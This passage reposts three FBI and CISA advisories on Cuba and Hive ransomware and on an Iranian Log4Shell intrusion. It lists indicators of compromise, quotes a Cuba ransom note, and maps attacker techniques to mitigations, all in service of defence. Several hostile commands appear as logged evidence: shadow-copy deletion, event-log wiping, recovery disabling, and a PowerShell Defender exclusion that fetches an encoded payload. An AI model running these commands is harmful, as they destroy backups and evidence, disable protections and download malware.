SHA256: bd270853db17f94c2b8e4bd9fa089756a147ed45cbc44d6c2b0c78f361978906
ole32.dll
oleaut32.dll
open.bat
SHA256: 2EB3EF8A7A2C498E87F3820510752043B20CBE35B0CBD9AF3F69E8B8FE482676
open.exe
pass.ps1
SHA256: 0afed8d1b7c36008de188c20d7f0e2283251a174261547aab7fb56e31d767666
pdfdecrypt.exe
powerview.ps1
prt3389.bat
SHA256: e0d89c88378dcb1b6c9ce2d2820f8d773613402998b8dcdb024858010dec72ed
ra.ps1
SHA256: 571f8db67d463ae80098edc7a1a0cad59153ce6592e42d370a45df46f18a4ad8
rg1.exe
Rg2.exe
rundll32
s64174.bat
SHA256: 10a5612044599128981cb41d71d7390c15e7a2a0c2848ad751c3da1cbec510a2
SHA256: 1807549af1c8fdc5b04c564f4026e41790c554f339514d326f8b55cb7b9b4f79
s64174.dll
s9239.bat
s9239.dll
shell32.dll
stel.exe
syskav64.exe
sysra64,exe
systav332.bat
SHA256: 01242b35b6def71e42cc985e97d618e2fabd616b16d23f7081d575364d09ca74
TC-9.22a.2019.3.exe
TeamViewer.exe
testDLL.dll
tug4rigd.dll
SHA256: 952b34f6370294c5a0bb122febfaa80612fef1f32eddd48a3d0556c4286b7474
UpdateNotificationPipeline.002.etl
user32.dll
v1.bat
v2.bat
v3.bat
veeamp.exe
SHA256: 9aa1f37517458d635eae4f9b43cb4770880ea0ee171e7e4ad155bbdee0cbe732
version.dll
vlhqbgvudfnirmzx.aspx
wininet.dll
wlog.exe
wpeqawzp.sys
y3lcx345.dll
zero.exe
SHA256: 3a8b7c1fe9bd9451c0a51e4122605efc98e7e4e13ed117139a13e4749e211ed0
Email Provider
Email Addresses
Cuba-supp[.]com
admin@cuba-supp[.]com
Encryption-support[.]com
admin@encryption-support[.]com
Mail.supports24[.]net
inbox@mail.supports24[.]net
cuba_support@exploit[.]im
Note: Some of these observed IP addresses are more than a year old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action such as blocking.
193.23.244[.]244
144.172.83[.]13
216.45.55[.]30
94.103.9[.]79
149.255.35[.]131
217.79.43[.]148
192.137.101[.]46
154.35.175[.]225
222.252.53[.]33
92.222.172[.]39
159.203.70[.]39
23.227.198[.]246
92.222.172[.]172
171.25.193[.]9
31.184.192[.]44
10.13.102[.]1
185.153.199[.]169
37.120.247[.]39
10.13.102[.]58
192.137.100[.]96
37.44.253[.]21
10.133.78[.]41
192.137.100[.]98
38.108.119[.]121
10.14.100[.]20
192.137.101[.]205
45.164.21[.]13
103.114.163[.]197
193.34.167[.]17
45.32.229[.]66
103.27.203[.]197
194.109.206[.]212
45.86.162[.]34
104.217.8[.]100
195.54.160[.]149
45.91.83[.]176
107.189.10[.]143
199.58.81[.]140
64.52.169[.]174
108.170.31[.]115
204.13.164[.]118
64.235.39[.]82
128.31.0[.]34
209.76.253[.]84
79.141.169[.]220
128.31.0[.]39
212.192.241[.]230
84.17.52[.]135
131.188.40[.]189
213.32.39[.]43
86.59.21[.]38
141.98.87[.]124
216.45.55[.]3
bc1q4vr25xkth35qslenqwd7aw020w85qrvlrhv7hc
bc1q5uc0fdnz0ve5pg4nl4upa9ly586t6wmnghfe7x
bc1q6rsj3cn37dngypu5kad9gdw5ykhctpwhjvun3z
bc1q6zkemtyyrre2mkk23g93zyq98ygrygvx7z2q0t
bc1q9cj0n9k2m282x0nzj6lhqjvhkkd4h95sewek83
bc1qaselp9nhejc3safcq3vn5wautx6w33x0llk7dl
bc1qc48q628t93xwzljtvurpqhcvahvesadpwqtsza
bc1qgsuf5m9tgxuv4ylxcmx8eeqn3wmlmu7f49zkus
bc1qhpepeeh7hlz5jvrp50uhkz59lhakcfvme0w9qh
bc1qjep0vx2lap93455p7h29unruvr05cs242mrcah
bc1qr9l0gcl0nvmngap6ueyy5gqdwvm34kdmtevjyx
bc1qs3lv77udkap2enxv928x59yuact5df4t95rsqr
bc1qyd05q2m5qt3nwpd3gcqkyer0gspqx5p6evcf7h
bc1qzz7xweq8ee2j35tq6r5m687kctq9huskt50edv
bc1qvpk8ksl3my6kjezjss9p28cqj4dmpmmjx5yl3y
bc1qhtwfcysclc7pck2y3vmjtpzkaezhcm6perc99x
bc1qft3s53ur5uq5ru6sl3zyr247dpr55mnggwucd3
bc1qp7h9fszlqxjwyfhv0upparnsgx56x7v7wfx4x7
bc1q4vr25xkth35qslenqwd7aw020w85qrvlrhv7hc
bc1q5uc0fdnz0ve5pg4nl4upa9ly586t6wmnghfe7x
bc1q6rsj3cn37dngypu5kad9gdw5ykhctpwhjvun3z
bc1q6zkemtyyrre2mkk23g93zyq98ygrygvx7z2q0t
bc1q9cj0n9k2m282x0nzj6lhqjvhkkd4h95sewek83
bc1qaselp9nhejc3safcq3vn5wautx6w33x0llk7dl
bc1qc48q628t93xwzljtvurpqhcvahvesadpwqtsza
bc1qgsuf5m9tgxuv4ylxcmx8eeqn3wmlmu7f49zkus
bc1qhpepeeh7hlz5jvrp50uhkz59lhakcfvme0w9qh
bc1qjep0vx2lap93455p7h29unruvr05cs242mrcah
bc1qr9l0gcl0nvmngap6ueyy5gqdwvm34kdmtevjyx
bc1qs3lv77udkap2enxv928x59yuact5df4t95rsqr
bc1qyd05q2m5qt3nwpd3gcqkyer0gspqx5p6evcf7h
bc1qzz7xweq8ee2j35tq6r5m687kctq9huskt50edv
See figure 1 for an example of a Cuba ransomware note.
Greetings! Unfortunately we have to report that your company were
compromised. All your files were
encrypted and you can’t restore them without our private key. Trying
to restore it without our help may
cause complete loss of your data. Also we researched whole your
corporate network and downloaded all
your sensitive data to our servers. If we will not get any contact
from you in the next 3 days we will public
it in our news site.
You can find it there (
https[:]// cuba4ikm4jakjgmkeztyawtdgr2xymvy6nvgw5cglswg3si76icnqd.onion/ )
Tor Browser is needed ( https[:]//www.torproject.org/download/ )
Also we respect your work and time and we are open for communication.
In that case we are ready to discuss
recovering your files and work. We can grant absolute privacy and
compliance with agreements by our side.
Also we can provide all necessary evidence to confirm performance of
our products and statements.
Feel free to contact us with quTox ( https[:]//tox.chat/download.html )
Our ToxID: 37790E2D198DFD20C9D2887D4EF7C3E295188842480192689864DCCA3C8BD808A18956768271
Alternative method is email: inbox@mail.supports24[.]net
Mark your messages with your personal ID:
Additional resources to detect possible exploitation or compromise:
MITRE ATT&CK TECHNIQUES
Cuba ransomware actors use the ATT&CK techniques listed in Table 6. Note: For details on TTPs listed in the table, see FBI Flash Indicators of Compromise Associated with Cuba Ransomware.
Resource Development
Technique Title
ID
Use
Compromise Infrastructure: Domains
T1584.001
Cuba ransomware actors use compromised networks to conduct their operations.
Initial Access
Technique Title
ID
Use
Valid Accounts
T1078
Cuba ransomware actors have been known to use compromised credentials to get into a victim’s network.
External Remote Services
T1133
Cuba ransomware actors may leverage external-facing remote services to gain initial access to a victim’s network.
Exploit Public-Facing Application
T1190
Cuba ransomware actors are known to exploit vulnerabilities in public-facing systems.
Phishing
T1566
Cuba ransomware actors have sent phishing emails to obtain initial access to systems.
Execution
Technique Title
ID
Use
Command and Scripting Interpreter: PowerShell
T1059.001
Cuba ransomware actors have used PowerShell to escalate privileges.
Software Deployment Tools
T1072
Cuba ransomware actors use Hancitor as a tool to spread malicious files throughout a victim’s network.
Privilege Escalation
Technique Title
ID
Use
Exploitation for Privilege Escalation
T1068
Cuba ransomware actors have exploited ZeroLogon to gain administrator privileges.[2]
Defense Evasion
Technique Title
ID
Use
Impair Defenses: Disable or Modify Tools
T1562.001
Cuba ransomware actors leveraged a loader that disables security tools within the victim network.
Lateral Movement
Technique Title
ID
Use
Remote Services Session: RDP Hijacking
T1563.002
Cuba ransomware actors used RDP sessions to move laterally.
Credential Access
Technique Title
ID
Use
Credential Dumping: LSASS Memory
T1003.001
Cuba ransomware actors use LSASS memory to retrieve stored compromised credentials.
Steal or Forge Kerberos Tickets: Kerberoasting
T1558.003
Cuba ransomware actors used the Kerberoasting technique to identify service accounts linked to active directory.[2]
Command and Control
Technique Title
ID
Use
Proxy: Manipulate Command and Control Communications
T1090
Industrial Spy ransomware actors use HTTP/HTTPS proxy via a C2 server to direct traffic to avoid direct connection. [2]
Mitigations
FBI and CISA recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Cuba ransomware:
RESOURCES
REPORTING
FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with ransomware actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.
FBI and CISA do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents immediately. Report to a local FBI Field Office, or CISA at us-cert.cisa.gov/report.
DISCLAIMER
The information in this report is being provided “as is” for informational purposes only. FBI and CISA do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI or CISA.
ACKNOWLEDGEMENTS
FBI and CISA would like to thank BlackBerry, ESET, The National Cyber-Forensics and Training Alliance (NCFTA), Palo Alto Networks, and PRODAFT for their contributions to this CSA.
References
Revisions
This product is provided subject to this Notification and this Privacy & Use policy.
Source de l’article sur us-cert.gov
AA22-321A: #StopRansomware: Hive Ransomware
Sécurité de l'information et du SI, Sécurité de l’information, Sécurité du système d’informationOriginal release date: November 17, 2022 | Last revised: November 25, 2022
Summary
Actions to Take Today to Mitigate Cyber Threats from Ransomware:
• Prioritize remediating known exploited vulnerabilities.
• Enable and enforce multifactor authentication with strong passwords
• Close unused ports and remove any application not deemed necessary for day-to-day operations.
Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.
The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Department of Health and Human Services (HHS) are releasing this joint CSA to disseminate known Hive IOCs and TTPs identified through FBI investigations as recently as November 2022.
FBI, CISA, and HHS encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents. Victims of ransomware operations should report the incident to their local FBI field office or CISA.
Download the PDF version of this report: pdf, 852.9 kb.
For a downloadable copy of IOCs, see AA22-321A.stix (STIX, 43.6 kb).
Technical Details
Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 12. See MITRE ATT&CK for Enterprise for all referenced tactics and techniques.
As of November 2022, Hive ransomware actors have victimized over 1,300 companies worldwide, receiving approximately US$100 million in ransom payments, according to FBI information. Hive ransomware follows the ransomware-as-a-service (RaaS) model in which developers create, maintain, and update the malware, and affiliates conduct the ransomware attacks. From June 2021 through at least November 2022, threat actors have used Hive ransomware to target a wide range of businesses and critical infrastructure sectors, including Government Facilities, Communications, Critical Manufacturing, Information Technology, and especially Healthcare and Public Health (HPH).
The method of initial intrusion will depend on which affiliate targets the network. Hive actors have gained initial access to victim networks by using single factor logins via Remote Desktop Protocol (RDP), virtual private networks (VPNs), and other remote network connection protocols [T1133]. In some cases, Hive actors have bypassed multifactor authentication (MFA) and gained access to FortiOS servers by exploiting Common Vulnerabilities and Exposures (CVE) CVE-2020-12812. This vulnerability enables a malicious cyber actor to log in without a prompt for the user’s second authentication factor (FortiToken) when the actor changes the case of the username.
Hive actors have also gained initial access to victim networks by distributing phishing emails with malicious attachments [T1566.001] and by exploiting the following vulnerabilities against Microsoft Exchange servers [T1190]:
After gaining access, Hive ransomware attempts to evade detention by executing processes to:
Prior to encryption, Hive ransomware removes virus definitions and disables all portions of Windows Defender and other common antivirus programs in the system registry [T1112].
Hive actors exfiltrate data likely using a combination of Rclone and the cloud storage serviceMega.nz [T1537]. In addition to its capabilities against the Microsoft Windows operating system, Hive ransomware has known variants for Linux, VMware ESXi, and FreeBSD.
During the encryption process, a file named*.key (previously *.key.* ) is created in the root directory (C: or /root/ ). Required for decryption, this key file only exists on the machine where it was created and cannot be reproduced. The ransom note, HOW_TO_DECRYPT.txt is dropped into each affected directory and states the *.key file cannot be modified, renamed, or deleted, otherwise the encrypted files cannot be recovered [T1486]. The ransom note contains a “sales department” .onion link accessible through a TOR browser, enabling victim organizations to contact the actors through a live chat panel to discuss payment for their files. However, some victims reported receiving phone calls or emails from Hive actors directly to discuss payment.
The ransom note also threatens victims that a public disclosure or leak site accessible on the TOR site, “HiveLeaks”, contains data exfiltrated from victim organizations who do not pay the ransom demand (see figure 1 below). Additionally, Hive actors have used anonymous file sharing sites to disclose exfiltrated data (see table 1 below).
https://anonfiles[.]com
https://mega[.]nz
https://send.exploit[.]in
https://ufile[.]io
https://www.sendspace[.]com
https://privatlab[.]net
https://privatlab[.]com
Once the victim organization contacts Hive actors on the live chat panel, Hive actors communicate the ransom amount and the payment deadline. Hive actors negotiate ransom demands in U.S. dollars, with initial amounts ranging from several thousand to millions of dollars. Hive actors demand payment in Bitcoin.
Hive actors have been known to reinfect—with either Hive ransomware or another ransomware variant—the networks of victim organizations who have restored their network without making a ransom payment.
Indicators of Compromise
Threat actors have leveraged the following IOCs during Hive ransomware compromises. Note: Some of these indicators are legitimate applications that Hive threat actors used to aid in further malicious exploitation. FBI, CISA, and HHS recommend removing any application not deemed necessary for day-to-day operations. See tables 2–3 below for IOCs obtained from FBI threat response investigations as recently as November 2022.
Known IOCs – Files
HOW_TO_DECRYPT.txt typically in directories with encrypted files
*.key typically in the root directory, i.e., C: or /root
hive.bat
shadow.bat
asq.r77vh0[.]pw – Server hosted malicious HTA file
asq.d6shiiwz[.]pw – Server referenced in malicious regsvr32 execution
asq.swhw71un[.]pw – Server hosted malicious HTA file
asd.s7610rir[.]pw – Server hosted malicious HTA file
Windows_x64_encrypt.dll
Windows_x64_encrypt.exe
Windows_x32_encrypt.dll
Windows_x32_encrypt.exe
Linux_encrypt
Esxi_encrypt
Known IOCs – Events
System, Security and Application Windows event logs wiped
Microsoft Windows Defender AntiSpyware Protection disabled
Microsoft Windows Defender AntiVirus Protection disabled
Volume shadow copies deleted
Normal boot process prevented
Known IOCs – Logged Processes
wevtutil.exe cl system
wevtutil.exe cl security
wevtutil.exe cl application
vssadmin.exe delete shadows /all /quiet
wmic.exe SHADOWCOPY /nointeractive
wmic.exe shadowcopy delete
bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
bcdedit.exe /set {default} recoveryenabled no
Potential IOC IP Addresses for Compromise or Exfil:
84.32.188[.]57
84.32.188[.]238
93.115.26[.]251
185.8.105[.]67
181.231.81[.]239
185.8.105[.]112
186.111.136[.]37
192.53.123[.]202
158.69.36[.]149
46.166.161[.]123
108.62.118[.]190
46.166.161[.]93
185.247.71[.]106
46.166.162[.]125
5.61.37[.]207
46.166.162[.]96
185.8.105[.]103
46.166.169[.]34
5.199.162[.]220
93.115.25[.]139
5.199.162[.]229
93.115.27[.]148
89.147.109[.]208
83.97.20[.]81
5.61.37[.]207
5.199.162[.]220
5.199.162[.]229;
46.166.161[.]93
46.166.161[.]123;
46.166.162[.]96
46.166.162[.]125
46.166.169[.]34
83.97.20[.]81
84.32.188[.]238
84.32.188[.]57
89.147.109[.]208
93.115.25[.]139;
93.115.26[.]251
93.115.27[.]148
108.62.118[.]190
158.69.36[.]149/span>
181.231.81[.]239
185.8.105[.]67
185.8.105[.]103
185.8.105[.]112
185.247.71[.]106
186.111.136[.]37
192.53.123[.]202
MITRE ATT&CK TECHNIQUES
See table 4 for all referenced threat actor tactics and techniques listed in this advisory.
Initial Access
Technique Title
ID
Use
External Remote Services
T1133
Hive actors gain access to victim networks by using single factor logins via RDP, VPN, and other remote network connection protocols.
Exploit Public-Facing Application
T1190
Hive actors gain access to victim network by exploiting the following Microsoft Exchange vulnerabilities: CVE-2021-34473, CVE-2021-34523, CVE-2021-31207, CVE-2021-42321.
Phishing
T1566.001
Hive actors gain access to victim networks by distributing phishing emails with malicious attachments.
Execution
Technique Title
ID
Use
Command and Scripting Interpreter
T1059
Hive actors looks to stop the volume shadow copy services and remove all existing shadow copies via vssadmin on command line or PowerShell.
Defense Evasion
Technique Title
ID
Use
Indicator Removal on Host
T1070
Hive actors delete Windows event logs, specifically, the System, Security and Application logs.
Modify Registry
T1112
Hive actors set registry values for DisableAntiSpyware and DisableAntiVirus to 1.
Impair Defenses
T1562
Hive actors seek processes related to backups, antivirus/anti-spyware, and file copying and terminates those processes to facilitate file encryption.
Exfiltration
Technique Title
ID
Use
Transfer Data to Cloud Account
T1537
Hive actors exfiltrate data from victims, using a possible combination of Rclone and the cloud storage service Mega.nz.
Impact
Technique Title
Use
Data Encrypted for Impact
T1486
Hive actors deploy a ransom note HOW_TO_DECRYPT.txt into each affected directory which states the *.key file cannot be modified, renamed, or deleted, otherwise the encrypted files cannot be recovered.
Inhibit System Recovery
T1490
Hive actors looks to stop the volume shadow copy services and remove all existing shadow copies via vssadmin via command line or PowerShell.
Mitigations
FBI, CISA, and HHS recommend organizations, particularly in the HPH sector, implement the following to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Hive ransomware:
If your organization is impacted by a ransomware incident, FBI, CISA, and HHS recommend the following actions.
In addition, FBI, CISA, and HHS urge all organizations to apply the following recommendations to prepare for, mitigate/prevent, and respond to ransomware incidents.
Preparing for Cyber Incidents
Identity and Access Management
Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.
Protective Controls and Architecture
Vulnerability and Configuration Management
REFERENCES
INFORMATION REQUESTED
The FBI, CISA, and HHS do not encourage paying a ransom to criminal actors. Paying a ransom may embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Paying the ransom also does not guarantee that a victim’s files will be recovered. However, the FBI, CISA, and HHS understand that when businesses are faced with an inability to function, executives will evaluate all options to protect their shareholders, employees, and customers. Regardless of whether you or your organization decide to pay the ransom, the FBI, CISA, and HHS urge you to promptly report ransomware incidents to your local FBI field office, or to CISA at report@cisa.gov or (888) 282-0870. Doing so provides investigators with the critical information they need to track ransomware attackers, hold them accountable under US law, and prevent future attacks.
The FBI may seek the following information that you determine you can legally share, including:
DISCLAIMER
The information in this report is being provided “as is” for informational purposes only. FBI, CISA, and HHS do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI, CISA, or HHS.
Revisions
This product is provided subject to this Notification and this Privacy & Use policy.
Source de l’article sur us-cert.gov
AA22-320A: Iranian Government-Sponsored APT Actors Compromise Federal Network, Deploy Crypto Miner, Credential Harvester
Sécurité de l'information et du SI, Sécurité de l’information, Sécurité du système d’informationOriginal release date: November 16, 2022 | Last revised: November 25, 2022
Summary
From mid-June through mid-July 2022, CISA conducted an incident response engagement at a Federal Civilian Executive Branch (FCEB) organization where CISA observed suspected advanced persistent threat (APT) activity. In the course of incident response activities, CISA determined that cyber threat actors exploited the Log4Shell vulnerability in an unpatched VMware Horizon server, installed XMRig crypto mining software, moved laterally to the domain controller (DC), compromised credentials, and then implanted Ngrok reverse proxies on several hosts to maintain persistence. CISA and the Federal Bureau of Investigation (FBI) assess that the FCEB network was compromised by Iranian government-sponsored APT actors.
CISA and FBI are releasing this Cybersecurity Advisory (CSA) providing the suspected Iranian government-sponsored actors’ tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help network defenders detect and protect against related compromises.
CISA and FBI encourage all organizations with affected VMware systems that did not immediately apply available patches or workarounds to assume compromise and initiate threat hunting activities. If suspected initial access or compromise is detected based on IOCs or TTPs described in this CSA, CISA and FBI encourage organizations to assume lateral movement by threat actors, investigate connected systems (including the DC), and audit privileged accounts. All organizations, regardless of identified evidence of compromise, should apply the recommendations in the Mitigations section of this CSA to protect against similar malicious cyber activity.
For more information on Iranian government-sponsored Iranian malicious cyber activity, see CISA’s Iran Cyber Threat Overview and Advisories webpage and FBI’s Iran Threats webpage.
Download the PDF version of this report: pdf, 528 kb.
For a downloadable copy of the Malware Analysis Report (MAR) accompanying this report, see: MAR 10387061-1.v1.
For a downloadable copy of IOCs, see: AA22-320A.stix, 1.55 mb.
Technical Details
Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 11. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK® tactics and techniques with corresponding mitigation and/or detection recommendations.
Overview
In April 2022, CISA conducted retrospective analysis using EINSTEIN—an FCEB-wide intrusion detection system (IDS) operated and monitored by CISA—and identified suspected APT activity on an FCEB organization’s network. CISA observed bi-directional traffic between the network and a known malicious IP address associated with exploitation of the Log4Shell vulnerability (CVE-2021-44228) in VMware Horizon servers. In coordination with the FCEB organization, CISA initiated threat hunting incident response activities; however, prior to deploying an incident response team, CISA observed additional suspected APT activity. Specifically, CISA observed HTTPS activity from IP address51.89.181[.]64 to the organization’s VMware server. Based on trusted third-party reporting, 51.89.181[.]64 is a Lightweight Directory Access Protocol (LDAP) server associated with threat actors exploiting Log4Shell. Following HTTPS activity, CISA observed a suspected LDAP callback on port 443 to this IP address. CISA also observed a DNS query for us‐nation‐ny[.]cf that resolved back to 51.89.181[.]64 when the victim server was returning this Log4Shell LDAP callback to the actors’ server.
CISA assessed that this traffic indicated a confirmed compromise based on the successful callback to the indicator and informed the organization of these findings; the organization investigated the activity and found signs of compromise. As trusted-third party reporting associated Log4Shell activity from51.89.181[.]64 with lateral movement and targeting of DCs, CISA suspected the threat actors had moved laterally and compromised the organization’s DC.
From mid-June through mid-July 2022, CISA conducted an onsite incident response engagement and determined that the organization was compromised as early as February 2022, by likely Iranian government-sponsored APT actors who installed XMRig crypto mining software. The threat actors also moved laterally to the domain controller, compromised credentials, and implanted Ngrok reverse proxies.
Threat Actor Activity
In February 2022, the threat actors exploited Log4Shell [T1190] for initial access [TA0001] to the organization’s unpatched VMware Horizon server. As part of their initial exploitation, CISA observed a connection to known malicious IP address182.54.217[.]2 lasting 17.6 seconds.
The actors’ exploit payload ran the following PowerShell command [T1059.001] that added an exclusion rule to Windows Defender [T1562.001]:
powershell try{Add-MpPreference -ExclusionPath ‘C:’; Write-Host ‘added-exclusion’} catch {Write-Host ‘adding-exclusion-failed’ }; powershell -enc “$BASE64 encoded payload to download next stage and execute it”
The exclusion rule allowlisted the entirec:drive , enabling threat actors to download tools to the c:drive without virus scans. The exploit payload then downloaded mdeploy.text from 182.54.217[.]2/mdepoy.txt to C:userspublicmde.ps1 [T1105]. When executed, mde.ps1 downloaded file.zip from 182.54.217[.]2 and removed mde.ps1 from the disk [T1070.004].
See MAR 10387061-1.v1 for additional information, including IOCs, on these four files.
After obtaining initial access and installing XMRig on the VMWare Horizon server, the actors used RDP [T1021.001] and the built-in Windows user accountDefaultAccount [T1078.001] to move laterally [TA0008] to a VMware VDI-KMS host. Once the threat actor established themselves on the VDI-KMS host, CISA observed the actors download around 30 megabytes of files from transfer[.]sh server associated with 144.76.136[.]153 . The actors downloaded the following tools:
The threat actors then executed Mimikatz on VDI-KMS to harvest credentials and created a rogue domain administrator account [T1136.002]. Using the newly created account, the actors leveraged RDP to propagate to several hosts within the network. Upon logging into each host, the actors manually disabled Windows Defender via the Graphical User Interface (GUI) and implanted Ngrok executables and configuration files. The threat actors were able to implant Ngrok on multiple hosts to ensure Ngrok’s persistence should they lose access to a machine during a routine reboot. The actors were able to proxy [T1090] RDP sessions, which were only observable on the local network as outgoing HTTPS port 443 connections totunnel.us.ngrok[.]com and korgn.su.lennut[.]com (the prior domain in reverse). It is possible, but was not observed, that the threat actors configured a custom domain, or used other Ngrok tunnel domains, wildcarded here as *.ngrok[.]com , *.ngrok[.]io , ngrok.*.tunnel[.]com , or korgn.*.lennut[.]com .
Once the threat actors established a deep foothold in the network and moved laterally to the domain controller, they executed the following PowerShell command on the Active Directory to obtain a list of all machines attached to the domain [T1018]:
Powershell.exe get-adcomputer -filter * -properties * | select name,operatingsystem,ipv4address >
The threat actors also changed the password for the local administrator account [T1098] on several hosts as a backup should the rogue domain administrator account get detected and terminated. Additionally, the threat actor was observed attempting to dump the Local Security Authority Subsystem Service (LSASS) process [T1003.001] with task manager but this was stopped by additional anti-virus the FCEB organization had installed.
MITRE ATT&CK TACTICS AND TECHNIQUES
See table 1 for all referenced threat actor tactics and techniques in this advisory, as well as corresponding detection and/or mitigation recommendations. For additional mitigations, see the Mitigations section.
Initial Access
Technique Title
ID
Use
Recommendations
Exploit Public-Facing Application
T1190
The actors exploited Log4Shell for initial access to the organization’s VMware Horizon server.
Mitigation/Detection: Use a firewall or web-application firewall and enable logging to prevent and detect potential Log4Shell exploitation attempts [M1050].
Mitigation: Perform regular vulnerability scanning to detect Log4J vulnerabilities and update Log4J software using vendor provided patches [M1016],[M1051].
Execution
Technique Title
ID
Use
Recommendation
Command and Scripting Interpreter: PowerShell
T1059.001
The actors ran PowerShell commands that added an exclusion rule to Windows Defender.
The actors executed PowerShell on the AD to obtain a list of machines on the domain.
Mitigation: Disable or remove PowerShell for non-administrative users [M1042],[M1026] or enable code-signing to execute only signed scripts [M1045].
Mitigation: Employ anti-malware to automatically detect and quarantine malicious scripts [M1049].
Persistence
Technique Title
ID
Use
Recommendations
Account Manipulation
T1098
The actors changed the password for the local administrator account on several hosts.
Mitigation: Use multifactor authentication for user and privileged accounts [M1032].
Detection: Monitor events for changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728, and 4670. Monitor for modification of accounts in correlation with other suspicious activity [DS0002].
Create Account: Local Account
T1136.001
The actors’ malware can create local user accounts.
Mitigation: Configure access controls and firewalls to limit access to domain controllers and systems used to create and manage accounts.
Detection: Monitor executed commands and arguments for actions that are associated with local account creation, such as net user /add , useradd, and dscl -create [DS0017].
Detection: Enable logging for new user creation [DS0002].
Create Account: Domain Account
T1136.002
The actors used Mimikatz to create a rogue domain administrator account.
Mitigation: Configure access controls and firewalls to limit access to domain controllers and systems used to create and manage accounts.
Detection: Enable logging for new user creation, especially domain administrator accounts [DS0002].
Scheduled Task/Job: Scheduled Task
T1053.005
The actors’ exploit payload created Scheduled Task RuntimeBrokerService.exe, which executed RuntimeBroker.exe daily as SYSTEM.
Mitigation: Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM [M1028].
Detection: Monitor for newly constructed processes and/or command-lines that execute from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows [DS0009]
Detection: Monitor for newly constructed scheduled jobs by enabling the Microsoft-Windows-TaskScheduler/Operational setting within the event logging service [DS0003].
Valid Accounts: Default Accounts
T1078.001
The actors used built-in Windows user account DefaultAccount.
Mitigation: Change default usernames and passwords immediately after the installation and before deployment to a production environment [M1027].
Detection: Develop rules to monitor logon behavior across default accounts that have been activated or logged into [DS0028].
Defense Evasion
Technique Title
ID
Use
Recommendations
Impair Defenses: Disable or Modify Tools
T1562.001
The actors added an exclusion rule to Windows Defender. The tool allowlisted the entire c:drive, enabling the actors to bypass virus scans for tools they downloaded to the c:drive.
The actors manually disabled Windows Defender via the GUI.
Mitigation: Ensure proper user permissions are in place to prevent adversaries from disabling or interfering with security services. [M1018].
Detection: Monitor for changes made to Windows Registry keys and/or values related to services and startup programs that correspond to security tools such as HKLM:SOFTWAREPoliciesMicrosoftWindows Defender [DS0024].
Detection: Monitor for telemetry that provides context for modification or deletion of information related to security software processes or services such as Windows Defender definition files in Windows and System log files in Linux [DS0013].
Detection: Monitor processes for unexpected termination related to security tools/services [DS0009].
Indicator Removal on Host: File Deletion
T1070.004
The actors removed malicious file mde.ps1 from the dis.
Detection: Monitor executed commands and arguments for actions that could be utilized to unlink, rename, or delete files [DS0017].
Detection: Monitor for unexpected deletion of files from the system [DS0022].
Credential Access
Technique Title
ID
Use
Recommendations
OS Credential Dumping: LSASS Memory
T1003.001
The actors were observed trying to dump LSASS process.
Mitigation: With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping [M1043]
Mitigation: On Windows 10, enable Attack Surface Reduction (ASR) rules to secure LSASS and prevent credential stealing [M1040].
Mitigation: Ensure that local administrator accounts have complex, unique passwords across all systems on the network [M1027].
Detection: Monitor for unexpected processes interacting with LSASS.exe. Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. [DS0009].
Detection: Monitor executed commands and arguments that may attempt to access credential material stored in the process memory of the LSASS [DS0017].
Credentials from Password Stores
T1555
The actors used Mimikatz to harvest credentials.
Mitigation: Organizations may consider weighing the risk of storing credentials in password stores and web browsers. If system, software, or web browser credential disclosure is a significant concern, technical controls, policy, and user training may be used to prevent storage of credentials in improper locations [M1027].
Detection: Monitor for processes being accessed that may search for common password storage locations to obtain user credentials [DS0009].
Detection: Monitor executed commands and arguments that may search for common password storage locations to obtain user credentials [DS0017].
Discovery
Technique Title
ID
Use
Recommendations
Remote System Discovery
T1018
The actors executed a PowerShell command on the AD to obtain a list of all machines attached to the domain.
Detection: Monitor executed commands and arguments that may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for lateral movement [DS0017].
Detection: Monitor for newly constructed network connections associated with pings/scans that may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for lateral movement [DS0029].
Detection: Monitor for newly executed processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession [DS0009].
